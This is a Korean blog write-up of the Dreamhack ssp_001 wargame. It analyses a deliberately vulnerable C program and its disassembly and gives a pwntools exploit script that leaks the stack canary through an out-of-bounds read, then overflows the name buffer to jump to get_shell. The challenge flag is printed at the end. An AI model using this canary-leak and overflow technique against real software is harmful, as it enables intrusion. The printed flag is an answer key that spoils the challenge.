본문 바로가기
Security/System Hacking

Stack Canary(ssp_001)

by HanJunseo 2024. 3. 31.

https://dreamhack.io/wargame/challenges/33

 

ssp_001

Description 이 문제는 작동하고 있는 서비스(ssp_001)의 바이너리와 소스코드가 주어집니다. 프로그램의 취약점을 찾고 SSP 방어 기법을 우회하여 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세

dreamhack.io

 

저번 문제(ssp_000)에 이어서 똑같이 ssp_001을 풀어볼 것이다.

 

코드 분석

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
이 함수는 입력받은 idx값에 들어있는 box 값을 2자리수 16진수로 가져온다.

 

void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
이 함수는 단순히 메뉴를 출력하는 함수이다.
 
 while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
 

사용자는 F,P,E를 눌러서 함수를 호출 할 수 있다.

1. F를 누를 경우 box에 값을 넣는다.

2. P를 누를 경우 idx 값을 입력받고 해당 위치의 box 값을 출력한다.

3. E를 누를 경우 name 사이즈를 입력받은 후 name을 입력받는다.

> 여기서 버퍼 오버플로우가 가능하다.

 

디버깅

 

IDA를 통해 살펴본 결과 대부분 변수들이 ebp 레지스터에 담기는 것을 확인할 수 있다.

추가로 분석하기 위해 gdb 분석을 한 결과는 다음과 같다.

pwndbg > disassemble main
Dump of assembler code
for
function main:
0x0804872b < +0 >: push ebp
0x0804872c < +1 >: mov ebp, esp
0x0804872e < +3 >: push edi
0x0804872f < +4 >: sub esp, 0x94
0x08048735 < +10 >: mov eax, DWORD PTR[ebp + 0xc]
0x08048738 < +13 >: mov DWORD PTR[ebp - 0x98], eax
0x0804873e < +19 >: mov eax, gs: 0x14
0x08048744 < +25 >: mov DWORD PTR[ebp - 0x8], eax
0x08048747 < +28 >: xor eax, eax
0x08048749 < +30 >: lea edx, [ebp - 0x88]
0x0804874f < +36 >: mov eax, 0x0
0x08048754 < +41 >: mov ecx, 0x10
0x08048759 < +46 >: mov edi, edx
0x0804875b < +48 >: rep stos DWORD PTR es: [edi], eax
0x0804875d < +50 >: lea edx, [ebp - 0x48]
0x08048760 < +53 >: mov eax, 0x0
0x08048765 < +58 >: mov ecx, 0x10
0x0804876a < +63 >: mov edi, edx
0x0804876c < +65 >: rep stos DWORD PTR es: [edi], eax
0x0804876e < +67 >: mov WORD PTR[ebp - 0x8a], 0x0
0x08048777 < +76 >: mov DWORD PTR[ebp - 0x94], 0x0
0x08048781 < +86 >: mov DWORD PTR[ebp - 0x90], 0x0
0x0804878b < +96 >: call 0x8048672 < initialize >
    0x08048790 < +101 >: call 0x80486f1 < menu >
    0x08048795 < +106 >: push 0x2
0x08048797 < +108 >: lea eax, [ebp - 0x8a]
0x0804879d < +114 >: push eax
0x0804879e < +115 >: push 0x0
0x080487a0 < +117 >: call 0x80484a0 < read @plt >
    0x080487a5 < +122 >: add esp, 0xc
0x080487a8 < +125 >: movzx eax, BYTE PTR[ebp - 0x8a]
0x080487af < +132 >: movsx eax, al
0x080487b2 < +135 >: cmp eax, 0x46
0x080487b5 < +138 >: je 0x80487c6 < main + 155 >
    0x080487b7 < +140 >: cmp eax, 0x50
0x080487ba < +143 >: je 0x80487eb < main + 192 >
    0x080487bc < +145 >: cmp eax, 0x45
0x080487bf < +148 >: je 0x8048824 < main + 249 >
    0x080487c1 < +150 >: jmp 0x804887a < main + 335 >
    0x080487c6 < +155 >: push 0x804896c
0x080487cb < +160 >: call 0x80484b0 < printf @plt >
    0x080487d0 < +165 >: add esp, 0x4
0x080487d3 < +168 >: push 0x40
0x080487d5 < +170 >: lea eax, [ebp - 0x88]
0x080487db < +176 >: push eax
0x080487dc < +177 >: push 0x0
0x080487de < +179 >: call 0x80484a0 < read @plt >
    0x080487e3 < +184 >: add esp, 0xc
0x080487e6 < +187 >: jmp 0x804887a < main + 335 >
    0x080487eb < +192 >: push 0x8048979
0x080487f0 < +197 >: call 0x80484b0 < printf @plt >
    0x080487f5 < +202 >: add esp, 0x4
0x080487f8 < +205 >: lea eax, [ebp - 0x94]
0x080487fe < +211 >: push eax
0x080487ff < +212 >: push 0x804898a
0x08048804 < +217 >: call 0x8048540 < __isoc99_scanf @plt >
    0x08048809 < +222 >: add esp, 0x8
0x0804880c < +225 >: mov eax, DWORD PTR[ebp - 0x94]
0x08048812 < +231 >: push eax
0x08048813 < +232 >: lea eax, [ebp - 0x88]
0x08048819 < +238 >: push eax
0x0804881a < +239 >: call 0x80486cc < print_box >
    0x0804881f < +244 >: add esp, 0x8
0x08048822 < +247 >: jmp 0x804887a < main + 335 >
    0x08048824 < +249 >: push 0x804898d
0x08048829 < +254 >: call 0x80484b0 < printf @plt >
    0x0804882e < +259 >: add esp, 0x4
0x08048831 < +262 >: lea eax, [ebp - 0x90]
0x08048837 < +268 >: push eax
0x08048838 < +269 >: push 0x804898a
0x0804883d < +274 >: call 0x8048540 < __isoc99_scanf @plt >
    0x08048842 < +279 >: add esp, 0x8
0x08048845 < +282 >: push 0x804899a
0x0804884a < +287 >: call 0x80484b0 < printf @plt >
    0x0804884f < +292 >: add esp, 0x4
0x08048852 < +295 >: mov eax, DWORD PTR[ebp - 0x90]
0x08048858 < +301 >: push eax
0x08048859 < +302 >: lea eax, [ebp - 0x48]
0x0804885c < +305 >: push eax
0x0804885d < +306 >: push 0x0
0x0804885f < +308 >: call 0x80484a0 < read @plt >
    0x08048864 < +313 >: add esp, 0xc
0x08048867 < +316 >: mov eax, 0x0
0x0804886c < +321 >: mov edx, DWORD PTR[ebp - 0x8]
0x0804886f < +324 >: xor edx, DWORD PTR gs: 0x14
0x08048876 < +331 >: je 0x8048884 < main + 345 >
    0x08048878 < +333 >: jmp 0x804887f < main + 340 >
    0x0804887a < +335 >: jmp 0x8048790 < main + 101 >
    0x0804887f < +340 >: call 0x80484e0 < __stack_chk_fail @plt >
    0x08048884 < +345 >: mov edi, DWORD PTR[ebp - 0x4]
0x08048887 < +348 >: leave
0x08048888 < +349 >: ret

menu - ebp-0x8a

box - ebp-0x88

idx - ebp-0x94

name_size - ebp-0x90

name - ebp-0x48

 

이것을 토대로 분석하면 다음과 같다.

더 자세히 확인하기 위해 name을 받는 곳에 bp를 걸어 확인해보았다.

0xffffd2c0: 0x0a616161 0x00000000 0x00000000 0x00000000
0xffffd2d0: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd2e0: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd2f0: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd300: 0x0a616161 0x00000000 0x00000000 0x00000000
0xffffd310: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd320: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd330: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd340: 0xc33b1c00 0xf7ffcba0 0x00000000 0xf7c237c5
0xffffd350: 0x00000001 0xffffd404 0xffffd40c 0xffffd370
0xffffd360: 0xf7e1dff4 0x0804872b 0x00000001 0xffffd404
0xffffd370: 0xf7e1dff4 0x08048890 0xf7ffcba0 0x00000000
0xffffd380: 0xc3523af8 0xb89b90e8 0x00000000 0x00000000
0xffffd390: 0x00000000 0xf7ffcba0 0x00000000 0xc33b1c00
0xffffd3a0: 0xf7ffda30 0xf7c23756 0xf7e1dff4 0xf7c23888

 

0xffffd340과 0xffffd2c0간 차이가 128바이트 이므로 box값과 canary값이 128바이트만큼 떨어져있다는 것을 확인할 수 있다. 추가로 분석결과 리턴 주소와 sfp 사이에 4바이트 공간이 있는 것을 확인했다.

0x0804886c < +321 >: mov edx, DWORD PTR[ebp - 0x8]
0x0804886f < +324 >: xor edx, DWORD PTR gs: 0x14
0x08048876 < +331 >: je 0x8048884 < main + 345 >
    0x08048878 < +333 >: jmp 0x804887f < main + 340 >
    0x0804887a < +335 >: jmp 0x8048790 < main + 101 >
    0x0804887f < +340 >: call 0x80484e0 < __stack_chk_fail @plt >
    0x08048884 < +345 >: mov edi, DWORD PTR[ebp - 0x4]

 

Exploit

 

해당 위치부터 1씩 증가하면서 4바이트를 출력한다면 canary를 구할 수 있다.(즉 128바이트부터 131바이트까지)

이때 little endian이 사용되므로 마지막부터 출력해야한다.

 

Python code

 

from pwn import *
#context.log_level = 'debug'
p=remote('host3.dreamhack.games', 19369)
e=ELF('./ssp_001')
canary = b''
get_shell = e.symbols['get_shell']

#canary leak
for i in range(131, 127, -1):
    p.sendafter(b'> ', b'P')
    p.sendlineafter(b'Element index : ', str(i).encode())
    p.recvuntil(b' : ')
    canary += p.recv(2)
canary = int(canary, 16)
log.info('[+]canary: 0x%x' %canary)

#exploit
payload = b"A"*64 
payload += p32(canary)  
payload += b"B"*8
payload += p32(get_shell)

p.sendafter('> ', 'E')
p.sendlineafter('Name Size : ', '200')
p.sendafter('Name : ', payload)
p.interactive()
Print 함수를 이용해서 canary를 leak 한 후 
payload에 name_size만큼 더미 값으로 채운 후
canary를 더해서 보호를 우회하고 반환주소전까지 다시 더미값을 채운 후 마지막에 리턴 값에 get_shell 값을 넣어 쉘을 획득한다.
 

Flag

DH{00c609773822372daf2b7ef9adbdb824}

 

 

 

'Security > System Hacking' 카테고리의 다른 글

Stack Canary(ssp_000)  (2) 2024.03.31